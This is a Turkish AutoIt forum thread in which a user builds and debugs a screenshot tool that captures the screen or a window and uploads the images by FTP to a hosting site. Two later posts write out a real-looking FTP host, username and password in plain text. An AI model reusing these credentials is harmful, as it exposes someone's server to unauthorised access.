LifeSux Posted September 8, 2013 Author Share Posted September 8, 2013 Son verdiğim kodda hata varmış. Düzeltilmiş hali: [spoiler] #NoTrayIcon #Include<ScreenCapture.au3> #include <FTPEx.au3> #include <File.au3> #include <Array.au3> Opt("TrayMenuMode", 1) Opt("TrayOnEventMode", 1) If WinExists ("BulutResim.com V 1.0 Aracı") Then ProcessClose (WinGetProcess ("BulutResim.com V 1.0 Aracı")) AutoitWinSetTitle ("BulutResim.com V 1.0 Aracı") Global $sDataDump = @TempDir & "\BulutResim.com\" Global $sLog = @ScriptDir & "\kayit.ini" Global $nClick = 10 If Not FileExists ($sDataDump) Then DirCreate ($sDataDump) Global $hUser32 = DllOpen ("User32.dll") Global $hGUI = GUICreate("", @DesktopWidth, @DesktopHeight, 0, 0, -2147483648, 136) MsgBox(0,"BulutResim.com Resim Çek-Paylaş Aracı V 1.0","Bu araç LifeSuxTR tarafından BulutResim.com için geliştirilmiştir") TraySetIcon ("C:\WINDOWS\system32\SHELL32.dll", 23) TraySetState () TraySetTooltip ("Pencere Kayıt Edici") TraySetClick (16) TrayCreateItem ("Ekranı Çek") TrayItemSetOnEvent (-1, "_cek") TrayCreateItem ("Pencereyi Çek") TrayItemSetOnEvent (-1, "_cekpenc") TrayCreateItem ("") TrayCreateItem ("Resimlerin Dizinini Aç") TrayItemSetOnEvent (-1, "_Ac") TrayCreateItem ("Tüm Resimleri Sil") TrayItemSetOnEvent (-1, "_Temizle") TrayCreateItem ("") TrayCreateItem ("İşlem Kayıtlarını Aç") TrayItemSetOnEvent (-1, "_Kayitac") TrayCreateItem ("İşlem Kayıtlarını Sil") TrayItemSetOnEvent (-1, "_Kayittemizle") TrayCreateItem ("") TrayCreateItem ("Çıkış") TrayItemSetOnEvent (-1, "_Cikis") TrayTip ("BulutResim.com Araci v 1.0", "CTRL+Orta mouse tuşunu kullanarak belirli bir alanı yada pencereyi seçiniz." & @CRLF & @CRLF & _ "Aynı fonksiyonlara menüdende ulaşabilirsiniz.", 5, 1) GUICtrlSetResizing (-1, 802) WinSetTrans ($hGUI, "", 100) While 1 If _basildi ("Ctrl") And _basildi ("Middle") Then $hWnd = WinGetHandle ("[active]", "") WinSetState ($hWnd, "", @SW_DISABLE) $aPos = _alansec () If ($aPos[2] - $aPos[0] < $nClick) Or ($aPos[3] - $aPos[1] < $nClick) Then $aPos = WinGetPos ($hWnd, "") $aPos[2] += $aPos[0] $aPos[3] += $aPos[1] EndIf WinSetState ($hWnd, "", @SW_ENABLE) $sFile = _GetFile () _ScreenCapture_Capture ($sFile, $aPos[0], $aPos[1], $aPos[2], $aPos[3], False) ClipPut ($sFile) _kayityaz ($sFile, 1) ElseIf _basildi ("Print") Then $sFile = _GetFile () _ScreenCapture_Capture ($sFile, 0, 0, @DesktopWidth, @DesktopHeight, False) ClipPut ($sFile) _kayityaz ($sFile, 2) EndIf Sleep (10) WEnd Func _GetFile () $i = 0 While 1 $i += 1 If Not FileExists ($sDataDump & $i & ".jpg") Then Return $sDataDump & $i & ".jpg" WEnd EndFunc Func _basildi ($key) Switch StringLower ($key) Case "Left" $iHex = "01" Case "middle" $iHex = "04" Case "ctrl" $iHex = "11" Case "print" $iHex = "2C" Case Else Return -1 EndSwitch $aIsbasildi = DllCall($hUser32, "int", "GetAsyncKeyState", "int", "0x" & $iHex) If @Error Or (BitAND ($aIsbasildi[0], 0x8000) <> 0x8000) Then Return 0 Return 1 EndFunc Func _alansec () Local $aPos = MouseGetPos (), $aLast[2] = [-1, -1], $aPosFirst = MouseGetPos (), $aRet[4] WinMove ($hGUI, "", $aPosFirst[0], $aPosFirst[1], 1, 1) GUISetState(@SW_SHOW, $hGUI) While _basildi ("Middle") $aPos = MouseGetPos () If ($aPos[0] <> $aLast[0]) Or ($aPos[1] <> $aLast[1]) Then $aRet[0] = $aPosFirst[0] $aRet[1] = $aPosFirst[1] $aRet[2] = $aPos[0] $aRet[3] = $aPos[1] If $aRet[0] > $aRet[2] Then $tmp = $aRet[0] $aRet[0] = $aRet[2] $aRet[2] = $tmp EndIf If $aRet[1] > $aRet[3] Then $tmp = $aRet[1] $aRet[1] = $aRet[2] $aRet[2] = $tmp EndIf WinMove ($hGUI, "", $aRet[0], $aRet[1], $aRet[2] - $aRet[0], $aRet[3] - $aRet[1]) $aLast = $aPos EndIf Tooltip ($aRet[2] - $aRet[0] & " x " & $aRet[3] - $aRet[1]) Sleep (10) WEnd Tooltip ("") GUISetState (@SW_HIDE, $hGUI) Return $aRet EndFunc Func _kayityaz ($sFile, $nType) IniWrite ($sLog, @MDAY & "." & @MON & "." & @YEAR, @MIN & ":" & @HOUR & "_" & $nType, StringRegExpReplace ($sFile, ".*\\", "")) $kur = _FTP_Open('FTP') ; FTP bağlantısı başlatalım Local $baglan = _FTP_Connect($kur, 'sunucu', 'kullaniciadi', 'sifre') ; FTP'ye bağlanalım Local $szDrive, $szDir, $szFName, $szExt Local $filename = _PathSplit($sFile, $szDrive, $szDir, $szFName, $szExt) ; Dosya yolunu ayrıştıralım $filename = $filename[3] & $filename[4] _Ftp_FilePut($baglan, $sFile, "/" & $filename) ; Dosyamızı sunucuya gönderelim MsgBox(0, 0, "Dosya Yüklendi! Adresi: http://bulutresim.com/" & $filename) ; Dosya yolunu gösterelim _FTP_Close($kur) ; FTP bağlantısını kapatalım Endfunc Func _cek () $sFile = _GetFile () _ScreenCapture_Capture ($sFile, 0, 0, @DesktopWidth, @DesktopHeight, False) ClipPut ($sFile) _kayityaz ($sFile, 3) Endfunc Func _cekpenc () WinSetTrans ($hGUI, "", 1) WinMove ($hGUI, "", 0, 0, @DesktopWidth, @DesktopHeight) GUISetCursor (3, 1, $hGUI) GUISetState (@SW_SHOW, $hGUI) While Not _basildi ("Left") WEnd GUISetState (@SW_HIDE, $hGUI) GUISetCursor (1, 1, $hGUI) MouseClick ("") $aPos = WinGetPos ("[active]") WinSetTrans ($hGUI, "", 100) $aPos[2] += $aPos[0] $aPos[3] += $aPos[1] $sFile = _GetFile () _ScreenCapture_Capture ($sFile, $aPos[0], $aPos[1], $aPos[2], $aPos[3], False) ClipPut ($sFile) _kayityaz ($sFile, 4) Endfunc Func _Kayitac () ShellExecute ($sLog) EndFunc Func _Kayittemizle () FileDelete ($sLog) EndFunc Func _Ac () ShellExecute ($sDataDump) EndFunc Func _Temizle () Dirremove ($sDataDump, 1) DirCreate ($sDataDump) _kayityaz ("\temizlenmis resim", 5) EndFunc Func _Cikis () Exit EndFunc [/spoiler] İlerleme çubuklu hali: [spoiler] #NoTrayIcon #Include<ScreenCapture.au3> #include <FTPEx.au3> #include <File.au3> #include <Array.au3> Opt("TrayMenuMode", 1) Opt("TrayOnEventMode", 1) If WinExists ("BulutResim.com V 1.0 Aracı") Then ProcessClose (WinGetProcess ("BulutResim.com V 1.0 Aracı")) AutoitWinSetTitle ("BulutResim.com V 1.0 Aracı") Global $sDataDump = @TempDir & "\BulutResim.com\" Global $sLog = @ScriptDir & "\kayit.ini" Global $nClick = 10 If Not FileExists ($sDataDump) Then DirCreate ($sDataDump) Global $hUser32 = DllOpen ("User32.dll") Global $hGUI = GUICreate("", @DesktopWidth, @DesktopHeight, 0, 0, -2147483648, 136) MsgBox(0,"BulutResim.com Resim Çek-Paylaş Aracı V 1.0","Bu araç LifeSuxTR tarafından BulutResim.com için geliştirilmiştir") TraySetIcon ("C:\WINDOWS\system32\SHELL32.dll", 23) TraySetState () TraySetTooltip ("Pencere Kayıt Edici") TraySetClick (16) TrayCreateItem ("Ekranı Çek") TrayItemSetOnEvent (-1, "_cek") TrayCreateItem ("Pencereyi Çek") TrayItemSetOnEvent (-1, "_cekpenc") TrayCreateItem ("") TrayCreateItem ("Resimlerin Dizinini Aç") TrayItemSetOnEvent (-1, "_Ac") TrayCreateItem ("Tüm Resimleri Sil") TrayItemSetOnEvent (-1, "_Temizle") TrayCreateItem ("") TrayCreateItem ("İşlem Kayıtlarını Aç") TrayItemSetOnEvent (-1, "_Kayitac") TrayCreateItem ("İşlem Kayıtlarını Sil") TrayItemSetOnEvent (-1, "_Kayittemizle") TrayCreateItem ("") TrayCreateItem ("Çıkış") TrayItemSetOnEvent (-1, "_Cikis") TrayTip ("BulutResim.com Araci v 1.0", "CTRL+Orta mouse tuşunu kullanarak belirli bir alanı yada pencereyi seçiniz." & @CRLF & @CRLF & _ "Aynı fonksiyonlara menüdende ulaşabilirsiniz.", 5, 1) GUICtrlSetResizing (-1, 802) WinSetTrans ($hGUI, "", 100) While 1 If _basildi ("Ctrl") And _basildi ("Middle") Then $hWnd = WinGetHandle ("[active]", "") WinSetState ($hWnd, "", @SW_DISABLE) $aPos = _alansec () If ($aPos[2] - $aPos[0] < $nClick) Or ($aPos[3] - $aPos[1] < $nClick) Then $aPos = WinGetPos ($hWnd, "") $aPos[2] += $aPos[0] $aPos[3] += $aPos[1] EndIf WinSetState ($hWnd, "", @SW_ENABLE) $sFile = _GetFile () _ScreenCapture_Capture ($sFile, $aPos[0], $aPos[1], $aPos[2], $aPos[3], False) ClipPut ($sFile) _kayityaz ($sFile, 1) ElseIf _basildi ("Print") Then $sFile = _GetFile () _ScreenCapture_Capture ($sFile, 0, 0, @DesktopWidth, @DesktopHeight, False) ClipPut ($sFile) _kayityaz ($sFile, 2) EndIf Sleep (10) WEnd Func _GetFile () $i = 0 While 1 $i += 1 If Not FileExists ($sDataDump & $i & ".jpg") Then Return $sDataDump & $i & ".jpg" WEnd EndFunc Func _basildi ($key) Switch StringLower ($key) Case "Left" $iHex = "01" Case "middle" $iHex = "04" Case "ctrl" $iHex = "11" Case "print" $iHex = "2C" Case Else Return -1 EndSwitch $aIsbasildi = DllCall($hUser32, "int", "GetAsyncKeyState", "int", "0x" & $iHex) If @Error Or (BitAND ($aIsbasildi[0], 0x8000) <> 0x8000) Then Return 0 Return 1 EndFunc Func _alansec () Local $aPos = MouseGetPos (), $aLast[2] = [-1, -1], $aPosFirst = MouseGetPos (), $aRet[4] WinMove ($hGUI, "", $aPosFirst[0], $aPosFirst[1], 1, 1) GUISetState(@SW_SHOW, $hGUI) While _basildi ("Middle") $aPos = MouseGetPos () If ($aPos[0] <> $aLast[0]) Or ($aPos[1] <> $aLast[1]) Then $aRet[0] = $aPosFirst[0] $aRet[1] = $aPosFirst[1] $aRet[2] = $aPos[0] $aRet[3] = $aPos[1] If $aRet[0] > $aRet[2] Then $tmp = $aRet[0] $aRet[0] = $aRet[2] $aRet[2] = $tmp EndIf If $aRet[1] > $aRet[3] Then $tmp = $aRet[1] $aRet[1] = $aRet[2] $aRet[2] = $tmp EndIf WinMove ($hGUI, "", $aRet[0], $aRet[1], $aRet[2] - $aRet[0], $aRet[3] - $aRet[1]) $aLast = $aPos EndIf Tooltip ($aRet[2] - $aRet[0] & " x " & $aRet[3] - $aRet[1]) Sleep (10) WEnd Tooltip ("") GUISetState (@SW_HIDE, $hGUI) Return $aRet EndFunc Func _kayityaz ($sFile, $nType) IniWrite ($sLog, @MDAY & "." & @MON & "." & @YEAR, @MIN & ":" & @HOUR & "_" & $nType, StringRegExpReplace ($sFile, ".*\\", "")) $kur = _FTP_Open('FTP') ; FTP bağlantısı başlatalım Local $baglan = _FTP_Connect($kur, 'sunucu', 'kullaniciadi', 'sifre') ; FTP'ye bağlanalım Local $szDrive, $szDir, $szFName, $szExt Local $filename = _PathSplit($sFile, $szDrive, $szDir, $szFName, $szExt) ; Dosya yolunu ayrıştıralım $filename = $filename[3] & $filename[4] $x = ProgressOn("Yükleniyor","Resim Yükleniyor") _FTP_ProgressUpload($baglan, $sFile, "/" & $filename, "_UpdateParts") ; Dosyamızı sunucuya gönderelim Sleep(2000) ProgressOff() MsgBox(0, 0, "Dosya Yüklendi! Adresi: http://bulutresim.com/" & $filename) ; Dosya yolunu gösterelim _FTP_Close($kur) ; FTP bağlantısını kapatalım Endfunc Func _UpdateParts($percent) ProgressSet($percent ,"Yükleniyor %" & $percent,"Resim Yükleniyor %" & $percent) Endfunc Func _cek () $sFile = _GetFile () _ScreenCapture_Capture ($sFile, 0, 0, @DesktopWidth, @DesktopHeight, False) ClipPut ($sFile) _kayityaz ($sFile, 3) Endfunc Func _cekpenc () WinSetTrans ($hGUI, "", 1) WinMove ($hGUI, "", 0, 0, @DesktopWidth, @DesktopHeight) GUISetCursor (3, 1, $hGUI) GUISetState (@SW_SHOW, $hGUI) While Not _basildi ("Left") WEnd GUISetState (@SW_HIDE, $hGUI) GUISetCursor (1, 1, $hGUI) MouseClick ("") $aPos = WinGetPos ("[active]") WinSetTrans ($hGUI, "", 100) $aPos[2] += $aPos[0] $aPos[3] += $aPos[1] $sFile = _GetFile () _ScreenCapture_Capture ($sFile, $aPos[0], $aPos[1], $aPos[2], $aPos[3], False) ClipPut ($sFile) _kayityaz ($sFile, 4) Endfunc Func _Kayitac () ShellExecute ($sLog) EndFunc Func _Kayittemizle () FileDelete ($sLog) EndFunc Func _Ac () ShellExecute ($sDataDump) EndFunc Func _Temizle () Dirremove ($sDataDump, 1) DirCreate ($sDataDump) _kayityaz ("\temizlenmis resim", 5) EndFunc Func _Cikis () Exit EndFunc [/spoiler] Kod çalışıyor progress bar doluyor upload edildi diyor linki çıkartıyor ancak ftp ye girince dosya upload edilmemiş ? Birde msg box içinde değilde o linki kopyalanabilir bir şekilde çıkartabilir miyiz ? Quote Link to comment Share on other sites More sharing options...
LifeSux Posted September 8, 2013 Author Share Posted September 8, 2013 $LOWERLIMIT = 1 $UPPERLIMIT = 0x540be400 $RANDOMNUMBER = RANDOM ( $LOWERLIMIT , $UPPERLIMIT , 1 ) $FILEE = $RANDOMNUMBER & "deneme.jpg" Teşekkürler verdiğiniz kodu kullanmasamda hallettim. Quote Link to comment Share on other sites More sharing options...
mesale0077 Posted September 8, 2013 Share Posted September 8, 2013 kodlarınızı paylaşsaydınızda bizde hatalarını komple baksaydık yarım yarım istekte bulunuyorsunuz çözdüyseniz ne mutlu Quote Link to comment Share on other sites More sharing options...
LifeSux Posted September 8, 2013 Author Share Posted September 8, 2013 kodlarınızı paylaşsaydınızda bizde hatalarını komple baksaydık yarım yarım istekte bulunuyorsunuz çözdüyseniz ne mutlu hemen paylaşıyorum ftp için free host açmıştım bilgiler kodlarda zaten sizde test için kullanabilirsiniz. #NoTrayIcon #RequireAdmin #Include<ScreenCapture.au3> #include <FTPEx.au3> #include <File.au3> #include <Array.au3> Opt("TrayMenuMode", 1) Opt("TrayOnEventMode", 1) If WinExists ("BulutResim.com V 1.0 Aracı") Then ProcessClose (WinGetProcess ("BulutResim.com V 1.0 Aracı")) AutoitWinSetTitle ("BulutResim.com V 1.0 Aracı") Global $sDataDump = @TempDir & "\BulutResim.com\" Global $sLog = @ScriptDir & "\kayit.ini" Global $nClick = 10 If Not FileExists ($sDataDump) Then DirCreate ($sDataDump) Global $hUser32 = DllOpen ("User32.dll") Global $hGUI = GUICreate("", @DesktopWidth, @DesktopHeight, 0, 0, -2147483648, 136) MsgBox(0,"BulutResim.com Resim Çek-Paylaş Aracı V 1.0","Bu araç LifeSuxTR tarafından BulutResim.com için geliştirilmiştir") TraySetIcon ("C:\WINDOWS\system32\SHELL32.dll", 23) TraySetState () TraySetTooltip ("Pencere Kayıt Edici") TraySetClick (16) TrayCreateItem ("Ekranı Çek") TrayItemSetOnEvent (-1, "_cek") TrayCreateItem ("Pencereyi Çek") TrayItemSetOnEvent (-1, "_cekpenc") TrayCreateItem ("") TrayCreateItem ("Resimlerin Dizinini Aç") TrayItemSetOnEvent (-1, "_Ac") TrayCreateItem ("Tüm Resimleri Sil") TrayItemSetOnEvent (-1, "_Temizle") TrayCreateItem ("") TrayCreateItem ("İşlem Kayıtlarını Aç") TrayItemSetOnEvent (-1, "_Kayitac") TrayCreateItem ("İşlem Kayıtlarını Sil") TrayItemSetOnEvent (-1, "_Kayittemizle") TrayCreateItem ("") TrayCreateItem ("Çıkış") TrayItemSetOnEvent (-1, "_Cikis") TrayTip ("BulutResim.com Araci v 1.0", "CTRL+Orta mouse tuşunu kullanarak belirli bir alanı yada pencereyi seçiniz." & @CRLF & @CRLF & _ "Aynı fonksiyonlara menüdende ulaşabilirsiniz.", 5, 1) GUICtrlSetResizing (-1, 802) WinSetTrans ($hGUI, "", 100) While 1 If _basildi ("Ctrl") And _basildi ("Left") Then $hWnd = WinGetHandle ("[active]", "") WinSetState ($hWnd, "", @SW_DISABLE) $aPos = _alansec () If ($aPos[2] - $aPos[0] < $nClick) Or ($aPos[3] - $aPos[1] < $nClick) Then $aPos = WinGetPos ($hWnd, "") $aPos[2] += $aPos[0] $aPos[3] += $aPos[1] EndIf WinSetState ($hWnd, "", @SW_ENABLE) $sFile = _GetFile () _ScreenCapture_Capture ($sFile, $aPos[0], $aPos[1], $aPos[2], $aPos[3], False) ClipPut ($sFile) _kayityaz ($sFile, 1) ElseIf _basildi ("Print") Then $sFile = _GetFile () _ScreenCapture_Capture ($sFile, 0, 0, @DesktopWidth, @DesktopHeight, False) ClipPut ($sFile) _kayityaz ($sFile, 2) EndIf Sleep (10) WEnd Func _GetFile () While 1 $randomSeq = "" For $i = 1 to 12 $rNum = Random(48, 122, 1) If $rNum < 58 OR $rNum > 96 Then $randomSeq = Chr($rNum) & $randomSeq Else $i -= 1 EndIf Next If Not FileExists ($sDataDump & $randomseq & ".jpg") Then Return $sDataDump & $randomseq & ".jpg" WEnd EndFunc Func _basildi ($key) Switch StringLower ($key) Case "Left" $iHex = "01" Case "middle" $iHex = "04" Case "ctrl" $iHex = "11" Case "print" $iHex = "2C" Case Else Return -1 EndSwitch $aIsbasildi = DllCall($hUser32, "int", "GetAsyncKeyState", "int", "0x" & $iHex) If @Error Or (BitAND ($aIsbasildi[0], 0x8000) <> 0x8000) Then Return 0 Return 1 EndFunc Func _alansec () Local $aPos = MouseGetPos (), $aLast[2] = [-1, -1], $aPosFirst = MouseGetPos (), $aRet[4] WinMove ($hGUI, "", $aPosFirst[0], $aPosFirst[1], 1, 1) GUISetState(@SW_SHOW, $hGUI) While _basildi ("Left") $aPos = MouseGetPos () If ($aPos[0] <> $aLast[0]) Or ($aPos[1] <> $aLast[1]) Then $aRet[0] = $aPosFirst[0] $aRet[1] = $aPosFirst[1] $aRet[2] = $aPos[0] $aRet[3] = $aPos[1] If $aRet[0] > $aRet[2] Then $tmp = $aRet[0] $aRet[0] = $aRet[2] $aRet[2] = $tmp EndIf If $aRet[1] > $aRet[3] Then $tmp = $aRet[1] $aRet[1] = $aRet[2] $aRet[2] = $tmp EndIf WinMove ($hGUI, "", $aRet[0], $aRet[1], $aRet[2] - $aRet[0], $aRet[3] - $aRet[1]) $aLast = $aPos EndIf Tooltip ($aRet[2] - $aRet[0] & " x " & $aRet[3] - $aRet[1]) Sleep (10) WEnd Tooltip ("") GUISetState (@SW_HIDE, $hGUI) Return $aRet EndFunc Func _kayityaz ($sFile, $nType) IniWrite ($sLog, @MDAY & "." & @MON & "." & @YEAR, @MIN & ":" & @HOUR & "_" & $nType, StringRegExpReplace ($sFile, ".*\\", "")) $kur = _FTP_Open('FTP') ; FTP bağlantısı başlatalım Local $baglan = _FTP_Connect($kur, 'lifesuxtrmap.tk/', 'a6544809', 'yunusemre12') ; FTP'ye bağlanalım Local $szDrive, $szDir, $szFName, $szExt Local $filename = _PathSplit($sFile, $szDrive, $szDir, $szFName, $szExt) ; Dosya yolunu ayrıştıralım $filename = $filename[3] & $filename[4] $x = ProgressOn("Yükleniyor","Resim Yükleniyor") _FTP_ProgressUpload($baglan, $sFile, "/" & $filename, "_UpdateParts") ; Dosyamızı sunucuya gönderelim Sleep(2000) ProgressOff() MsgBox(0, 0, "Dosya Yüklendi! Adresi: http://bulutresim.com/" & $filename) ; Dosya yolunu gösterelim _FTP_Close($kur) ; FTP bağlantısını kapatalım Endfunc Func _cek () $sFile = _GetFile () _ScreenCapture_Capture ($sFile, 0, 0, @DesktopWidth, @DesktopHeight, False) ClipPut ($sFile) _kayityaz ($sFile, 3) Endfunc Func _cekpenc () WinSetTrans ($hGUI, "", 1) WinMove ($hGUI, "", 0, 0, @DesktopWidth, @DesktopHeight) GUISetCursor (3, 1, $hGUI) GUISetState (@SW_SHOW, $hGUI) While Not _basildi ("Left") WEnd GUISetState (@SW_HIDE, $hGUI) GUISetCursor (1, 1, $hGUI) MouseClick ("") $aPos = WinGetPos ("[active]") WinSetTrans ($hGUI, "", 100) $aPos[2] += $aPos[0] $aPos[3] += $aPos[1] $sFile = _GetFile () _ScreenCapture_Capture ($sFile, $aPos[0], $aPos[1], $aPos[2], $aPos[3], False) ClipPut ($sFile) _kayityaz ($sFile, 4) Endfunc Func _Kayitac () ShellExecute ($sLog) EndFunc Func _Kayittemizle () FileDelete ($sLog) EndFunc Func _Ac () ShellExecute ($sDataDump) EndFunc Func _Temizle () Dirremove ($sDataDump, 1) DirCreate ($sDataDump) _kayityaz ("\temizlenmis resim", 5) EndFunc Func _Cikis () Exit EndFunc Quote Link to comment Share on other sites More sharing options...
reyiz Posted September 8, 2013 Share Posted September 8, 2013 (edited) ... Edited November 8, 2013 by reyiz Quote Link to comment Share on other sites More sharing options...
LifeSux Posted September 8, 2013 Author Share Posted September 8, 2013 Sunucu adını lifesuxtrmap.tk/ değil lifesuxtrmap.tk yapmalısınız ve dosyanın internetten görülebilmesi için public_html dizinine yüklenmesi gerekiyor. Ayrıca kolaylık olması açısından adresin panoya kopyalanmasını sağladım. [spoiler] #NoTrayIcon #RequireAdmin #Include<ScreenCapture.au3> #include <FTPEx.au3> #include <File.au3> #include <Array.au3> Opt("TrayMenuMode", 1) Opt("TrayOnEventMode", 1) If WinExists ("BulutResim.com V 1.0 Aracı") Then ProcessClose (WinGetProcess ("BulutResim.com V 1.0 Aracı")) AutoitWinSetTitle ("BulutResim.com V 1.0 Aracı") Global $sDataDump = @TempDir & "\BulutResim.com\" Global $sLog = @ScriptDir & "\kayit.ini" Global $nClick = 10 If Not FileExists ($sDataDump) Then DirCreate ($sDataDump) Global $hUser32 = DllOpen ("User32.dll") Global $hGUI = GUICreate("", @DesktopWidth, @DesktopHeight, 0, 0, -2147483648, 136) MsgBox(0,"BulutResim.com Resim Çek-Paylaş Aracı V 1.0","Bu araç LifeSuxTR tarafından BulutResim.com için geliştirilmiştir") TraySetIcon ("C:\WINDOWS\system32\SHELL32.dll", 23) TraySetState () TraySetTooltip ("Pencere Kayıt Edici") TraySetClick (16) TrayCreateItem ("Ekranı Çek") TrayItemSetOnEvent (-1, "_cek") TrayCreateItem ("Pencereyi Çek") TrayItemSetOnEvent (-1, "_cekpenc") TrayCreateItem ("") TrayCreateItem ("Resimlerin Dizinini Aç") TrayItemSetOnEvent (-1, "_Ac") TrayCreateItem ("Tüm Resimleri Sil") TrayItemSetOnEvent (-1, "_Temizle") TrayCreateItem ("") TrayCreateItem ("İşlem Kayıtlarını Aç") TrayItemSetOnEvent (-1, "_Kayitac") TrayCreateItem ("İşlem Kayıtlarını Sil") TrayItemSetOnEvent (-1, "_Kayittemizle") TrayCreateItem ("") TrayCreateItem ("Çıkış") TrayItemSetOnEvent (-1, "_Cikis") TrayTip ("BulutResim.com Araci v 1.0", "CTRL+Orta mouse tuşunu kullanarak belirli bir alanı yada pencereyi seçiniz." & @CRLF & @CRLF & _ "Aynı fonksiyonlara menüdende ulaşabilirsiniz.", 5, 1) GUICtrlSetResizing (-1, 802) WinSetTrans ($hGUI, "", 100) While 1 If _basildi ("Ctrl") And _basildi ("Left") Then $hWnd = WinGetHandle ("[active]", "") WinSetState ($hWnd, "", @SW_DISABLE) $aPos = _alansec () If ($aPos[2] - $aPos[0] < $nClick) Or ($aPos[3] - $aPos[1] < $nClick) Then $aPos = WinGetPos ($hWnd, "") $aPos[2] += $aPos[0] $aPos[3] += $aPos[1] EndIf WinSetState ($hWnd, "", @SW_ENABLE) $sFile = _GetFile () _ScreenCapture_Capture ($sFile, $aPos[0], $aPos[1], $aPos[2], $aPos[3], False) ClipPut ($sFile) _kayityaz ($sFile, 1) ElseIf _basildi ("Print") Then $sFile = _GetFile () _ScreenCapture_Capture ($sFile, 0, 0, @DesktopWidth, @DesktopHeight, False) ClipPut ($sFile) _kayityaz ($sFile, 2) EndIf Sleep (10) WEnd Func _GetFile () While 1 $randomSeq = "" For $i = 1 to 12 $rNum = Random(48, 122, 1) If $rNum < 58 OR $rNum > 96 Then $randomSeq = Chr($rNum) & $randomSeq Else $i -= 1 EndIf Next If Not FileExists ($sDataDump & $randomseq & ".jpg") Then Return $sDataDump & $randomseq & ".jpg" WEnd EndFunc Func _basildi ($key) Switch StringLower ($key) Case "Left" $iHex = "01" Case "middle" $iHex = "04" Case "ctrl" $iHex = "11" Case "print" $iHex = "2C" Case Else Return -1 EndSwitch $aIsbasildi = DllCall($hUser32, "int", "GetAsyncKeyState", "int", "0x" & $iHex) If @Error Or (BitAND ($aIsbasildi[0], 0x8000) <> 0x8000) Then Return 0 Return 1 EndFunc Func _alansec () Local $aPos = MouseGetPos (), $aLast[2] = [-1, -1], $aPosFirst = MouseGetPos (), $aRet[4] WinMove ($hGUI, "", $aPosFirst[0], $aPosFirst[1], 1, 1) GUISetState(@SW_SHOW, $hGUI) While _basildi ("Left") $aPos = MouseGetPos () If ($aPos[0] <> $aLast[0]) Or ($aPos[1] <> $aLast[1]) Then $aRet[0] = $aPosFirst[0] $aRet[1] = $aPosFirst[1] $aRet[2] = $aPos[0] $aRet[3] = $aPos[1] If $aRet[0] > $aRet[2] Then $tmp = $aRet[0] $aRet[0] = $aRet[2] $aRet[2] = $tmp EndIf If $aRet[1] > $aRet[3] Then $tmp = $aRet[1] $aRet[1] = $aRet[2] $aRet[2] = $tmp EndIf WinMove ($hGUI, "", $aRet[0], $aRet[1], $aRet[2] - $aRet[0], $aRet[3] - $aRet[1]) $aLast = $aPos EndIf Tooltip ($aRet[2] - $aRet[0] & " x " & $aRet[3] - $aRet[1]) Sleep (10) WEnd Tooltip ("") GUISetState (@SW_HIDE, $hGUI) Return $aRet EndFunc Func _kayityaz ($sFile, $nType) IniWrite ($sLog, @MDAY & "." & @MON & "." & @YEAR, @MIN & ":" & @HOUR & "_" & $nType, StringRegExpReplace ($sFile, ".*\\", "")) $kur = _FTP_Open('FTP') ; FTP bağlantısı başlatalım Local $baglan = _FTP_Connect($kur, 'lifesuxtrmap.tk', 'a6544809', 'yunusemre12') ; FTP'ye bağlanalım Local $szDrive, $szDir, $szFName, $szExt Local $filename = _PathSplit($sFile, $szDrive, $szDir, $szFName, $szExt) ; Dosya yolunu ayrıştıralım $filename = $filename[3] & $filename[4] $x = ProgressOn("Yükleniyor","Resim Yükleniyor") _FTP_ProgressUpload($baglan, $sFile, "/public_html/" & $filename, "_UpdateParts") ; Dosyamızı sunucuya gönderelim Sleep(2000) ProgressOff() MsgBox(0, 0, "Dosya Yüklendi! Adresi: http://bulutresim.com/" & $filename) ; Dosya yolunu gösterelim ClipPut("http://bulutresim.com/" & $filename) _FTP_Close($kur) ; FTP bağlantısını kapatalım Endfunc Func _cek () $sFile = _GetFile () _ScreenCapture_Capture ($sFile, 0, 0, @DesktopWidth, @DesktopHeight, False) ClipPut ($sFile) _kayityaz ($sFile, 3) Endfunc Func _cekpenc () WinSetTrans ($hGUI, "", 1) WinMove ($hGUI, "", 0, 0, @DesktopWidth, @DesktopHeight) GUISetCursor (3, 1, $hGUI) GUISetState (@SW_SHOW, $hGUI) While Not _basildi ("Left") WEnd GUISetState (@SW_HIDE, $hGUI) GUISetCursor (1, 1, $hGUI) MouseClick ("") $aPos = WinGetPos ("[active]") WinSetTrans ($hGUI, "", 100) $aPos[2] += $aPos[0] $aPos[3] += $aPos[1] $sFile = _GetFile () _ScreenCapture_Capture ($sFile, $aPos[0], $aPos[1], $aPos[2], $aPos[3], False) ClipPut ($sFile) _kayityaz ($sFile, 4) Endfunc Func _Kayitac () ShellExecute ($sLog) EndFunc Func _Kayittemizle () FileDelete ($sLog) EndFunc Func _Ac () ShellExecute ($sDataDump) EndFunc Func _Temizle () Dirremove ($sDataDump, 1) DirCreate ($sDataDump) _kayityaz ("\temizlenmis resim", 5) EndFunc Func _Cikis () Exit EndFunc [/spoiler] Teşekkürler ancak nedense resmi FTP ye upload etmiyor.Gözükmüyor FTP de.Neden acaba hiç hatada vermiyor ??? Quote Link to comment Share on other sites More sharing options...
reyiz Posted September 8, 2013 Share Posted September 8, 2013 (edited) ... Edited November 8, 2013 by reyiz Quote Link to comment Share on other sites More sharing options...
LifeSux Posted September 8, 2013 Author Share Posted September 8, 2013 Hata vermesi için hata fonksiyonu oluşturmanız lazım. Yani şu şekilde: $x = ProgressOn("Yükleniyor","Resim Yükleniyor") $uploadresim = _FTP_ProgressUpload($baglan, $sFile, "/" & $filename, "_UpdateParts") ; Dosyamızı sunucuya gönderelim Sleep(2000) ProgressOff() if $uploadresim = 1 Then MsgBox(64, 0, "Dosya Yüklendi! Adresi: http://bulutresim.com/" & $filename) ; Dosya yolunu gösterelim else MsgBox(16, 0, "Dosya yüklenemedi.") endif Bende dosya yükleniyor. Güvenlik duvarınızdan programınıza izin vermeniz gerekebilir. İlginçtir bilgisayarımda güvenlik duvarıda her şeyde kapalı ancak dosya yüklenemedi diye sorun alıyorum. Quote Link to comment Share on other sites More sharing options...
